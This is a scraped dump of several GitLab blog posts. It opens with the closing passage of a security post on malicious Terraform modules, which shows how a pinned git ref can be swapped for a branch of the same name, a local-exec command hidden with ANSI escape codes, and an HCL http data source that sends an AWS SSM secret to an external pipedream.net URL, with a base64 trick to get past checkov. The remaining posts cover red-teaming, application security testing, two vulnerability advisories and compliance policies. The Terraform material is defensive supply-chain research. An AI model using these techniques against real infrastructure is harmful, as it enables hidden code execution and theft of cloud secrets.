work.\n\nIf you ever set or change modules or backend configuration for Terraform,\nrerun this command to reinitialize your working directory. If you forget, other\ncommands will detect it and remind you to do so if necessary.\n$ ls -al .terraform/modules/immutable_module\ntotal 20\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 .\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 ..\ndrwxr-xr-x 8 joern joern 4096  9. Mai 09:53 .git\n-rw-r--r-- 1 joern joern  159  9. Mai 09:53 main.tf\n-rw-r--r-- 1 joern joern   22  9. Mai 09:53 README.md\n```\n\nThen we prepare our repository to have a branch with the same name as the previously used commit:  \n\n```\n$ git checkout -b e23c0dcbb43ca19ea9ca91c879aafcc66c990758\nSwitched to a new branch 'e23c0dcbb43ca19ea9ca91c879aafcc66c990758'\n$ echo \"a malicious file\">malicious.tf\n$ git add malicious.tf \n$ git commit -m \"a malicious commit\"\n[e23c0dcbb43ca19ea9ca91c879aafcc66c990758 51de72e] a malicious commit\n 1 file changed, 1 insertion(+)\n create mode 100644 malicious.tf\n```\nWhen we initialize the project again we'll pull the malicious branch instead of the referenced commit:\n\n``` \n$ rm -rf .terraform         \n$ terraform init\nInitializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n╷\n│ Error: Invalid block definition\n│ \n│ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n\n╷\n│ Error: Invalid block definition\n│ \n│ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n```\n\n**Lesson learned here** \n\nSeemingly immutable git refs really aren't that immutable after all. This means we cannot trust modules hosted in arbitrary locations and simply rely on their git ref to be pinned. Instead, we must have control over the hosted location such that manipulation of the repository can be prevented.\n\n### Impact of malicious modules\n\nWhat could a malicious module do?\n\nReading the documentation, there are some useful primitives already built in. The most \"powerful\" primitive, if we want to mess with the Terraform run itself, might be [`local-exec`](https://www.terraform.io/language/resources/provisioners/local-exec) which will let us run local commands on the machine running the Terraform process.\n\nTerraform, however, will be verbose about this and tell the user what it just executed:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/local-exec.png){: .shadow.medium.center}\nTerraform local-exec\n{: .note.text-center}\n\n\nWe can cheat here a little as most terminals support so-called [ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code) which allow one to meddle to a certain extent with the terminal output.\n\nThe following variant of our `main.tf` file in the screenshot above will disguise the output traces of `local-exec` in the terminal:  \n\n```hcl\nresource \"null_resource\" \"lol\" {  \n  \n provisioner \"local-exec\" {  \n   command = \"id > haxx ;echo -e '\\\\033[0K \\\\033[1K \\\\033[1A \\\\033[0K \\\\033[1K \\\\033[2A'\"  \n }  \n}\n```\n\nThe screenshot below shows that our traces of using `local-exec` are no longer visible in the shell output:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/local-exec-ansi.png){: .shadow.medium.center}\nLocal exec is no longer visible in the shell output\n{: .note.text-center}\n\nAnother attack vector was outlined [in xssfox's post](https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/):  \n\n```hcl\nterraform {\n  required_providers {\n    aws = {\n      source  = \"hashicorp/aws\"\n    }\n    http = {}\n  }\n}\n\nresource \"aws_ssm_parameter\" \"param\" {\n  name  = var.parameter_name\n  type  = \"SecureString\"\n  value = random_password.password.result\n}\n\nresource \"random_password\" \"password\" {\n  length           = 16\n  special          = true\n  override_special = \"_%@\"\n}\n\n## !!! Our evil way to leak data !!!\ndata \"http\" \"leak\" {\n    url = \"https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}\"\n}\n```\n\nHere, the to-be-kept-secret parameter `aws_ssm_parameter` is leaked via the `http` data source. We can detect such a leak with [`checkov`](https://www.checkov.io/). Running `checkov` to check the above terraform code will warn us with a failed check:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/checkov1.png){: .shadow.medium.center}\nFailed check\n{: .note.text-center}\n\nThis check can be bypassed quite easily by simply wrapping the leaked parameters in `base64encode`:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/checkov2.png){: .shadow.medium.center}\nBypassing the failed check\n{: .note.text-center}\n\n\n**Lesson learned here**\n\nThe main takeaway is that malicious modules can be a quite powerful attack primitive and there are many different ways to compromise a Terraform run with a malicious module, such that even automated checks might fail.\n\n### Closing thoughts and what's next\n\nThis first blog covered the basics of malicious modules and providers in Terraform. As a bottom line I'd like to emphasize the fragility of running Terraform in cases where third-party modules and providers are being used. To harden your Terraform process against malicious modules you should be in control of the included module's and provider's content at all times. For providers, you can rely on the signatures as long as they've not been messed with. For modules, it is recommended to host them in a controlled environment.\n\nOur next blog in this series will cover some vulnerabilities in Terraform itself. In our third and final post we'll take a closer look at CI/CD related aspects of Terraform. Until next time!\n\nCover image by [Mateusz Dach](https://www.pexels.com/@mateusz-dach-99805/) on [Pexels](https://www.pexels.com/photo/brown-wooden-dominoes-353641/).\n{: .note}\n",[14],{"slug":3381,"featured":6,"template":677},"terraform-as-part-of-software-supply-chain-part1-modules-and-providers","content:en-us:blog:terraform-as-part-of-software-supply-chain-part1-modules-and-providers.yml","Terraform As Part Of Software Supply Chain Part1 Modules And Providers","en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers.yml","en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers",{"_path":3387,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3388,"content":3394,"config":3399,"_id":3401,"_type":16,"title":3402,"_source":17,"_file":3403,"_stem":3404,"_extension":20},"/en-us/blog/how-we-run-red-team-operations-remotely",{"title":3389,"description":3390,"ogTitle":3389,"ogDescription":3390,"noIndex":6,"ogImage":3391,"ogUrl":3392,"ogSiteName":767,"ogType":768,"canonicalUrls":3392,"schema":3393},"How we run Red Team operations remotely","Our team shares the process and templates that drive our successful red team ops in our all-remote environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679403/Blog/Hero%20Images/pexels-andrey-grushnikov-707676_crop.jpg","https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we run Red Team operations remotely\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2022-05-11\",\n      }",{"title":3389,"description":3390,"authors":3395,"heroImage":3391,"date":3396,"body":3397,"category":14,"tags":3398},[994],"2022-05-11","\n\nAt GitLab, our [Red Team](/handbook/security/threat-management/red-team/#red-team-overview) conducts security exercises that emulate real-world threats. This gives us an opportunity to assess and improve our ability to deal with cyber attacks. \n\nThese types of exercises require a lot of planning, which is traditionally done by getting folks from multiple departments into the same room at the same time to discuss hypothetical scenarios and expected outcomes. Then, actually conducting the attacks and validating the detection/response capabilities is, once again, traditionally done by people who are physically sitting in the same space.\n\nLike many things at GitLab, we are not quite so traditional.\n\nEach member of our Red Team is separated from the others by a literal ocean, with about eight hours difference in local time between us. Our entire organization works remotely, and the various groups we need to involve in these exercises are spread across the world.\n\nWe understand our approach is unique. However, more of the workforce is moving to remote work models, so we recently spent some time writing down what works for us when doing these types of complex exercises asynchronously across time zones. Keep reading to see what we came up with and how you can use it yourself.\n\n## Defining an asynchronous workflow\n\nIf there is one thing we've learned about working remotely, it's that you need to write things down. In a traditional office, it's possible to have a back-and-forth conversation in a matter of minutes. Conversations across time zones and departments, however, can take days when you're not co-located. This is why we use [our public handbook](/handbook/) as a single source of truth for how we run the company and why we decided to use this same spot to document [how our Red Team will work to propose, plan and execute operations](/handbook/security/threat-management/red-team/purple-teaming/). \n\n![file name](https://about.gitlab.com/images/blogimages/red-team-process/purple-team-process.png){: .shadow.medium.center}\nPurple Team process\n{: .note.text-center}\n\nAs you can see, we've broken down the process of \"Purple Teaming\" into nine unique stages. Each of these stages is supported with [a GitLab issue template](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates) that clearly explains what must be completed in order to move to the next stage.\n\nAt GitLab, we use the term \"Purple Teaming\" to describe an exercise where emulated attacks are done in the open: Everyone involved knows what the attack is, when it is coming, and exactly what techniques will be involved. When we perform more traditional \"Red Team\" exercises where stealth is involved, we use roughly the same process; only with less active participants.\n\nWhen we begin planning an operation, we open a new [epic on gitlab.com](https://docs.gitlab.com/ee/user/group/epics/). Inside that epic, we open nine new issues using the templates linked above. Everyone involved in the operation will have access to these issues, and everyone can clearly see what has been completed and what comes next.\n\n![file name](https://about.gitlab.com/images/blogimages/red-team-process/new-red-team-issue.png){: .shadow.medium.center}\nNew Red Team issue\n{: .note.text-center}\n\nWhile it may seem like a lot of stuffy process, this level of clarity and transparency gives us the freedom to focus more on the interesting work and less on figuring out who should be doing what next. Even better, the process is open source: Anyone with an idea for improvement can simply open a merge request to discuss. **This includes you: We would love to hear from the community to continually improve this process.**\n\n## Dive deeper into our workflows and templates\n\nOur Red Team makes an effort to share resources that others may find useful. Here are some links to the items we've discussed above:\n\n- [Purple Teaming in the GitLab handbook](/handbook/security/threat-management/red-team/purple-teaming/): what Purple Teaming means to us, why we do it, and what our workflow involves. We use roughly the same process for more traditional “Red Teaming” where stealth is involved.\n\n- [Red Team issue templates](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates): These templates break down the details required to progress through each stage of our process. Feel free to fork the project and use them as you see fit. We're [open to contributions, so check out our tips on how to get started](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates#contributing).\n\nIf you have thoughts about this process, or there are other Red Teaming topics you’d like us to tackle, please share in the comments below. Thank you for reading!\n\n\nCover image by [Andrey Grushnikov](https://www.pexels.com/@andrey-grushnikov-223358?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/black-and-white-photo-of-clocks-707676/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[14],{"slug":3400,"featured":6,"template":677},"how-we-run-red-team-operations-remotely","content:en-us:blog:how-we-run-red-team-operations-remotely.yml","How We Run Red Team Operations Remotely","en-us/blog/how-we-run-red-team-operations-remotely.yml","en-us/blog/how-we-run-red-team-operations-remotely",{"_path":3406,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3407,"content":3412,"config":3418,"_id":3420,"_type":16,"title":3421,"_source":17,"_file":3422,"_stem":3423,"_extension":20},"/en-us/blog/one-devops-platform-can-help-you-achieve-devsecops",{"title":3408,"description":3409,"ogTitle":3408,"ogDescription":3409,"noIndex":6,"ogImage":3075,"ogUrl":3410,"ogSiteName":767,"ogType":768,"canonicalUrls":3410,"schema":3411},"One DevOps platform can help you achieve DevSecOps","GitLab drives innovation in the AST market to secure cloud-native applications.","https://about.gitlab.com/blog/one-devops-platform-can-help-you-achieve-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"One DevOps platform can help you achieve DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-05-09\",\n      }",{"title":3408,"description":3409,"authors":3413,"heroImage":3075,"date":3414,"body":3415,"category":14,"tags":3416},[3019],"2022-05-09","\n\nApplication security testing (AST) is a fast-moving and important area for software development. DevOps methodologies have spurred the need to integrate testing within the developer’s workflow. GitLab believes the more ingrained AST is in the software factory, the more secure applications will be and the easier it will be for companies to meet compliance demands. We believe our [strategic platform approach](/why-gitlab), where security and compliance are embedded in DevOps from planning to production, provides efficiency and value unmatched by traditional application security vendors.\n\nGartner® has named GitLab a Challenger in the [2022 Gartner Magic Quadrant™ for Application Security Testing](https://page.gitlab.com/resources-report-gartner-magic-quadrant-ast.html). According to Gartner, “a major driver for the evolution of the AST market is the need to support enterprise [DevSecOps](/topics/devsecops/) and cloud-native application initiatives.”\n\n“We are excited to see continued momentum for our unique approach that embeds security into the DevOps workflow,” says Hillary Benson, GitLab director of product management. This is the third year that GitLab has been recognized in the Gartner Magic Quadrant for Application Security Testing. “We believe that our recognition as a Challenger in the Magic Quadrant represents an evolving market understanding of the value of an approach that empowers and enables developers to find and fix vulnerabilities – and the simplicity of leveraging a DevOps platform to do so.”\n\n> **You can read more about the results and download a copy of the report by visiting [our commentary page](/analysts/gartner-ast22/).**\n\n\nGitLab’s complete DevOps platform approach provides automation needed by DevOps, along with policy and vulnerability management needed by security professionals. GitLab’s Ultimate tier provides an integrated, vetted, and managed set of scanners to meet the security and compliance needs of modern-day application development and [cloud-native](/topics/cloud-native/) environments. \n\n## A unique approach to AST\n\nWe continue to innovate in the application security space. Let’s look at how we’re different from many of the more traditional stand-alone AST technologies. It’s these very differences that provide benefits achievable by using a single platform for DevOps and security. For example: \n\nWe build comprehensive scans into the CI pipeline to enable a more interactive testing environment. This is a unique approach as others in the category focus their offering on instrumentation-based interactive AST. With GitLab, the developer gets a more complete view of the security flaws as they are created – when they are most efficiently resolved.\n\nSimilarly, while analysts place emphasis on lightweight spell-check-like SAST features, we have found that these features are less important to GitLab users, again because of our built-in approach. A metaphor may be helpful to explain. We are all accustomed to saving documents frequently so edits are not lost. Developers do the same while editing software. Changes made are “committed” frequently to the code repository. Upon hitting the ‘commit’ button, GitLab performs a true, [SAST scan](/direction/secure/static-analysis/sast/) on code changes, which gives developers instant and more complete feedback. And DevOps teams can choose to enable  [DAST scanning](https://docs.gitlab.com/ee/user/application_security/dast/) that uses GitLab’s review app feature to assess changes pre-merge. Similarly,  [dependencies](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), containers, infrastructure as code, and more can all be scanned, at the push of the commit button.\n\nIn addition, GitLab also is keen on providing DevOps teams just-in-time education about vulnerabilities and fixes. Now, via partnerships with [Kontra](/blog/kontra-and-gitlab-integrate-vulnerability-education-into-the-devops-workflow/) and [Secure Code Warrior](/blog/heres-how-to-get-integrated-secure-coding-advice-in-gitlab/), GitLab provides developers with crisp training on how to mitigate the specific vulnerability they just created. This helps developers learn proper coding techniques instead of flagging the problem to figure out later.\n\n## Concentrating on compliance\n\nShifting compliance left and embedding it deep into the software development lifecycle, a.k.a. [continuous software compliance](/solutions/compliance/), is also a priority for GitLab.\n\n“We enable organizations to create policies that align with their compliance regulations and enforce them throughout the application development workflow,” Benson says. “Rather than juggling multiple policy enforcement applications, you have a single lens for visibility across the entire lifecycle.” For instance, a company can develop granular compliance pipeline policies that require a SAST to run for every commit in a certain project or a chain of MR approvals that developers can’t circumvent. “Those types of common controls and separation of duties simplify software audits and speed up application deployments.”\n\nGitLab is honored to be recognized in the Gartner Magic Quadrant, and will continue to empower and unite developers and security professionals alike using repeatable, defensible processes that automate security and compliance policies from development through production.\n\n> **[Start a free Ultimate trial](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial)**\n \n_Gartner, “Magic Quadrant for Application Security Testing,” Dale Gardner, Mark Horvath, Dionisio Zumerle, April 18, 2022. Gartner does not endorse any vendor, product or service depicted in our research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. GARTNER and Magic Quadrant are registered trademarks and service marks of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved._\n\nCover image by [Fly:D](https://unsplash.com/photos/ZNOxwCEj5mw) on Unsplash\n{: .note}\n",[2849,776,3417,14,2093],"research",{"slug":3419,"featured":6,"template":677},"one-devops-platform-can-help-you-achieve-devsecops","content:en-us:blog:one-devops-platform-can-help-you-achieve-devsecops.yml","One Devops Platform Can Help You Achieve Devsecops","en-us/blog/one-devops-platform-can-help-you-achieve-devsecops.yml","en-us/blog/one-devops-platform-can-help-you-achieve-devsecops",{"_path":3425,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3426,"content":3432,"config":3438,"_id":3440,"_type":16,"title":3441,"_source":17,"_file":3442,"_stem":3443,"_extension":20},"/en-us/blog/updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability",{"title":3427,"description":3428,"ogTitle":3427,"ogDescription":3428,"noIndex":6,"ogImage":3429,"ogUrl":3430,"ogSiteName":767,"ogType":768,"canonicalUrls":3430,"schema":3431},"The Rubygems unauthorized gem takeover vulnerability","Actions we've taken to investigate the Rubygems takeover vulnerability.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666816/Blog/Hero%20Images/security-cover.png","https://about.gitlab.com/blog/updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Updates regarding Rubygems ‘Unauthorized gem takeover for some gems’ vulnerability CVE-2022-29176\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-05-09\",\n      }",{"title":3433,"description":3428,"authors":3434,"heroImage":3429,"date":3414,"body":3436,"category":14,"tags":3437},"Updates regarding Rubygems ‘Unauthorized gem takeover for some gems’ vulnerability CVE-2022-29176",[3435],"GitLab","\n\nWe want to share the actions we’ve taken in response to the critical Rubygems ‘Unauthorized gem takeover for some gems’ vulnerability ([CVE-2022-29176](https://nvd.nist.gov/vuln/detail/CVE-2022-29176)). Upon becoming aware of the vulnerability within Rubygems.org, we immediately began our investigation and contacted Rubygems who quickly patched the vulnerability. Our Security team tested the usage of gems within our product and across our company and found gems within GitLab from [Rubygems.org](http://rubygems.org) were no longer vulnerable.\n\nAt this time, no malicious activity, exploitation, or indicators of compromise have been identified within GitLab.com and customer data. Further, our team’s review of gems used in the GitLab product showed no indication of compromise or integrity violations.\n\n**There is no action needed by GitLab.com or self-managed users.**\n\nOur teams are continuing to investigate and monitor this issue to help protect our products and customers. We will update this blog post and notify users via a GitLab security alert with any future, related updates.\n\n## More information \n* For more information about this vulnerability, see the Rubygems.org security advisory: [https://github.com/rubygems/rubygems.org/security/advisories/GHSA-hccv-rwq6-vh79](https://github.com/rubygems/rubygems.org/security/advisories/GHSA-hccv-rwq6-vh79). \n* If you've got a security question or concern, review [how to contact our Support team](/support/#contact-support).\n* [Subscribe to our security alerts mailing list](/company/contact/) (you’ll receive important security alerts and notifications via email).\n* For our recommended security practices for GitLab users, see our [“Security hygiene best practices” blog post](/blog/security-hygiene-best-practices-for-gitlab-users).\n* If you are an administrator of your own self-managed GitLab instance, consider reading our [secure configuration advice](/blog/gitlab-instance-security-best-practices/).\n\n",[14],{"slug":3439,"featured":6,"template":677},"updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability","content:en-us:blog:updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability.yml","Updates Regarding Rubygems Unauthorized Gem Takeover For Some Gems Vulnerability","en-us/blog/updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability.yml","en-us/blog/updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability",{"_path":3445,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3446,"content":3451,"config":3457,"_id":3459,"_type":16,"title":3460,"_source":17,"_file":3461,"_stem":3462,"_extension":20},"/en-us/blog/updates-regarding-spring-rce-vulnerabilities",{"title":3447,"description":3448,"ogTitle":3447,"ogDescription":3448,"noIndex":6,"ogImage":3429,"ogUrl":3449,"ogSiteName":767,"ogType":768,"canonicalUrls":3449,"schema":3450},"Spring framework remote code execution vulnerability updates","Actions we've taken to investigate the Spring RCE vulnerabilities.","https://about.gitlab.com/blog/updates-regarding-spring-rce-vulnerabilities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Updates regarding Spring remote code execution vulnerabilities CVE-2022-22965 and CVE-2022-22963\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-04-07\",\n      }",{"title":3452,"description":3448,"authors":3453,"heroImage":3429,"date":3454,"body":3455,"category":14,"tags":3456},"Updates regarding Spring remote code execution vulnerabilities CVE-2022-22965 and CVE-2022-22963",[3435],"2022-04-07","\n\nWe want to share the actions we’ve taken in response to the critical Spring remote code execution vulnerabilities ([CVE-2022-22965](https://tanzu.vmware.com/security/cve-2022-22965) and [CVE-2022-22963](https://tanzu.vmware.com/security/cve-2022-22963)). Upon becoming aware of the vulnerabilities, we immediately mobilized our Security and Engineering teams to determine usage of this software component and its potential impact within our product, across our company, and within our third-party software landscapes. \n\n**At this time, no malicious activity, exploitation, or indicators of compromise have been identified on GitLab.com. Further, our product packaged Java components for both GitLab.com and self-managed instances do not use vulnerable Spring components, and thus are not vulnerable.**\n\nOur teams are continuing to investigate and monitor this issue to help protect our products and customers. We will update this blog post and notify users via a GitLab security alert with any future, related updates. \n\n## More information \n* If you've got a security question or concern, review [how to contact our Support team](/support/#contact-support).\n* [Subscribe to our security alerts mailing list](/company/contact/) (you’ll receive important security alerts and notifications via email).\n* For our recommended security practices for GitLab users, see our [“Security hygiene best practices” blog post](/blog/security-hygiene-best-practices-for-gitlab-users).\n* If you are an administrator of your own self-managed GitLab instance, consider reading our [secure configuration advice](/blog/gitlab-instance-security-best-practices/).\n",[14],{"slug":3458,"featured":6,"template":677},"updates-regarding-spring-rce-vulnerabilities","content:en-us:blog:updates-regarding-spring-rce-vulnerabilities.yml","Updates Regarding Spring Rce Vulnerabilities","en-us/blog/updates-regarding-spring-rce-vulnerabilities.yml","en-us/blog/updates-regarding-spring-rce-vulnerabilities",{"_path":3464,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3465,"content":3471,"config":3478,"_id":3480,"_type":16,"title":3481,"_source":17,"_file":3482,"_stem":3483,"_extension":20},"/en-us/blog/ensuring-compliance",{"title":3466,"description":3467,"ogTitle":3466,"ogDescription":3467,"noIndex":6,"ogImage":3468,"ogUrl":3469,"ogSiteName":767,"ogType":768,"canonicalUrls":3469,"schema":3470},"How to ensure separation of duties and enforce compliance with GitLab","Use your DevSecOps platform to help maintain compliance without compromising on development speed.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098232/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_479904468%20%281%29_4lmOEVlaXP0YC3hSFmOw6i_1750098232241.jpg","https://about.gitlab.com/blog/ensuring-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to ensure separation of duties and enforce compliance with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Beatriz Barbosa\"},{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-04-04\",\n      }",{"title":3466,"description":3467,"authors":3472,"heroImage":3468,"date":3474,"body":3475,"category":14,"tags":3476,"updatedDate":3477},[3473,856],"Beatriz Barbosa","2022-04-04","In this article, you'll learn the different ways to ensure **separation of duties** and\n**continuous compliance** with the GitLab DevSecOps platform. But first, let's level-set on two key concepts:\n\n**Compliance** means being in accordance with guidelines and specifications that have been\ndefined either by your corporation or a regulatory agency. Compliance helps maintain\ncorporate ethics, appropriate user policies, security standards, and much more for\nthe safety of consumers.\n\nNon-compliance may result in a bundle of legal fees and fines, so it is very important to maintain compliance. While maintaining compliance, DevSecOps teams must also ensure sustained development velocity, providing necessary simplicity, visibility, and control.\n\n**Separation of duties** requires multiple actors to complete a task to increase protection from error as well as prevent malicious activity. Separation of duties ensures roles best-suited for the job are the only ones that can perform it. As an example, some of the following\nactors are observed, each with a specific purpose:\n\n- a developer will be responsible for developing new features\n- a compliance officer will be responsible for creating and enforcing the usage of a pipeline\n- an application security engineer will be responsible for approving merge requests with vulnerabilities\n\nConsidering the above roles, we can ensure that a developer cannot change a running pipeline.\nThis is a task that can only be performed by a compliance officer, ensuring only compliant code can be pushed without approval.\n\nAn application security engineer is responsible for reviewing and approving code with vulnerabilities, ensuring proper mitigation can be performed, and that nothing comes as a surprise in the future. In this scenario, developers can't merge code until compliance\nand security requirements are met.\n\n## Security policies\nGitLab provides **Security Policies**, which enable security teams to require security scans to run according to a configuration. This gives security teams confidence that the configured scans have not been changed or disabled.\n\nSecurity policies can be scoped to meet certain **Compliance Frameworks**. This means that your project has certain compliance requirements and needs additional oversight. This label can be created in **Secure > Compliance Center > Frameworks** under your top-level group.\n\n![Compliance Framework Label](https://about.gitlab.com/images/blogimages/compliance-04-2022/cf-step-2.png)\n\n**Note:** Compliance labels can only be assigned to projects within the top-level group in which we create the label.\n\nThere are three types of policies, [Scan Execution Policies](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html), [Merge Request Approval Policies](https://docs.gitlab.com/ee/user/application_security/policies/merge_request_approval_policies.html), and [Pipeline Execution Policies](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html).\n\n* **Scan Execution Policies:** Require that security scans run on a specified schedule or with the project pipeline.\n* **Merge Request Approval Policies:** Take action based on scan results, such as requiring approval from the security team before a merge can occur.\n* **Pipeline Execution Policies:** Enforce CI/CD jobs for applicable projects.\n\nThese policies can be configured via the Policy Editor in a few simple steps.\n\n### Scan execution\n\n1. Go to **Security & Compliance > Policies**.\n\n2. Create a new policy by pressing the **New Policy** button.\n\n3. Select **Scan Execution**.\n\n4. Create the rule. I'm creating a rule that requires [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) to be configured in order for a pipeline to run.\n\n```yaml\nname: force_sast\ndescription: 'require sast to run'\nenabled: true\nrules:\n- type: pipeline\n  branches:\n  - main\nactions:\n- scan: sast\n```\n\n5. Submit the policy by creating a merge request and then merge.\n\nAll scan execution policy changes are applied through a background job that runs once every 10 minutes.\nAllow up to 10 minutes for any policy changes committed to this project to take effect.\n\n6. Try and run a pipeline. It will not be run unless SAST is defined in the YAML.\n\n**Note**: You can also force SAST to run on a timer. For more information, see the scan execution\npolicies [documentation](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html).\n\n### Merge Request Approval\n\n1. Go to **Secure > Policies**.\n\n2. Create a new policy by pressing the **New Policy** button.\n\n3. Select **Merge Request Approval Policy**.\n\n4. Define policy scope.\n\n5. Create the rule.\n\n![separation of duties update - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098241214.png)\n\n6. Add action to take.\n\n![separation of duties update - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098241215.png)\n\n**Note:** The policy is evaluated according to the rules you set. This means that, if the rules are invalid, or can’t be evaluated, approval is required. To prevent this, the default Fallback behavior field can be changed to `open`.\n\n![separation of duties update - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098241217.png)\n\n1. Submit the policy by creating a merge request and then merging\n\n2. Create a separate merge request with vulnerabilities\n\nYou can see how to add vulnerabilities by checking out the Developer Workflow section of the GitLab DevSecOps Workshop.\n\n3. Verify Merge Request Approval Policy is being used by viewing merge request.\n\n### Pipeline Execution Policy\n\nTo set up a pipeline execution policy, you need to first create a project containing the CI files you would like to run. Make sure that only the security team and/or administrator has access to ensure separation of duties. I created the \"Compliance and Deploy\" project, which contains the YAML I wish to enforce.\n\n1. Go to **Secure > Policies**.\n\n2. Create a new policy by pressing the **New Policy** button.\n\n3. Select **Pipeline Execution Policy**.\n\n4. Define policy scope.\n\n5. Add action to take.\n\n![separation of duties update - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098241219.png)\n\n6. Add conditions.\n\n7. Submit the policy by creating a merge request and then merging.\n\n8. Try and run a pipeline. You will see the policy specific jobs and stages in your pipeline.\n\n## Audit Management and Compliance Dashboard\n\nAnother important part of compliance is knowing it is actually happening in your groups/projects. GitLab has Audit Events and Compliance Reports to assist with audits.\n\n**Audit Events** allows GitLab owners and administrators to track important events such as who performed certain actions and the time they occurred.\n\n![Audit events](https://about.gitlab.com/images/blogimages/compliance-04-2022/project-audit-events.png)\n\nAudit Events records different events per group and per project, which can be seen\nin the [audit events](https://docs.gitlab.com/ee/administration/audit_events.html) documentation.\nAudit Events can be accessed by going to **Security & Compliance > Audit Events**.\nSome examples include:\n\n- user was added to project and their permissions\n- permission changes of a user assigned to a project\n- project CI/CD variable added, removed, or protected status changed\n- user was added to group and their permissions\n- group name or path changed\n\nAudit Events can also be sent to an HTTP endpoint using Audit Event Streaming. Learn how\nto implement Audit Event Streaming in this [video](https://youtu.be/zHwVF9-i7e4?t=52).\n\n**Standards Adherence** gives you the ability to see a group's merge request activity. It provides a high-level view for all projects in the group.\n\n![separation of duties update - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098241222.png)\n\nYou can use the report to:\n- get an overview of the latest merge request for each project\n- see if merge requests were approved and by whom\n- see merge request authors\n- see the latest CI/CD pipeline result for each merge request\n\nThe Standards Adherence report can be accessed in the top-level group by going to **Secure > Compliance Center**, and choosing the **Standards Adherence** tab.\n\n---\n\nThanks for reading! For more information on separation of duties within GitLab, check out [Continous Software Compliance with GitLab](/solutions/compliance/)\n",[14,1230,2924,715],"2024-12-16",{"slug":3479,"featured":6,"template":677},"ensuring-compliance","content:en-us:blog:ensuring-compliance.yml","Ensuring 